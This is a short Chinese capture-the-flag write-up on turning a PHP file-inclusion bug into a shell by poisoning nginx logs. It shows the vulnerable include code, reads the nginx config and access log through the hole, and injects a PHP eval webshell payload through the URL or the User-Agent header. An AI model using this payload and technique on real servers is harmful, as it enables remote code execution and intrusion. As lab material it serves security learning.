题目链接

日志注入getshell

参考:https://www.cnblogs.com/my1e3/p/5854897.html

1
2
3
4
5
6
7
8
9
10
11
<?php
//WEB手要懂得搜索
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|flag|data|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=/i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}

明显禁用了php://和data://伪协议 那么可以用file://来查看文件

由文件头可知是nginx服务器 nginx的配置文件为/etc/nginx/nginx.conf

1
2
3
4
?file=/etc/nginx/nginx.conf
# ...
# error_log /var/log/nginx/error.log warn;
# ...

可以看到日志文件位于/var/log/nginx/中 访问/var/log/nginx/access.log

1
2
3
4
5
?file=/var/log/nginx/access.log
/*
x.x.x.x - - [13/Oct/2023:11:18:25 +0000] "GET / HTTP/1.1" 200 1534 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
x.x.x.x - - [13/Oct/2023:11:18:25 +0000] "GET /?file=/etc/nginx/nginx.conf HTTP/1.1" 200 1534 "http://node5.anna.nssctf.cn:28888/" "Mozilla/5.0 (
*/

可见成功include并获取日志内容 其中包括:IP, url路径,状态码和user-agent

那么有两种方式写入木马:

  1. url ?file=<?php eval($_POST['cmd']);?>

    注意这里如果直接浏览器改url部分字符会被编码,写入日志也是编码后的结果无法生效 因此需burp抓包修改

    img

    img

  2. user-agent

    user-agent 直接用hackbar改也行 这里不用考虑编码问题

    img

⬆︎TOP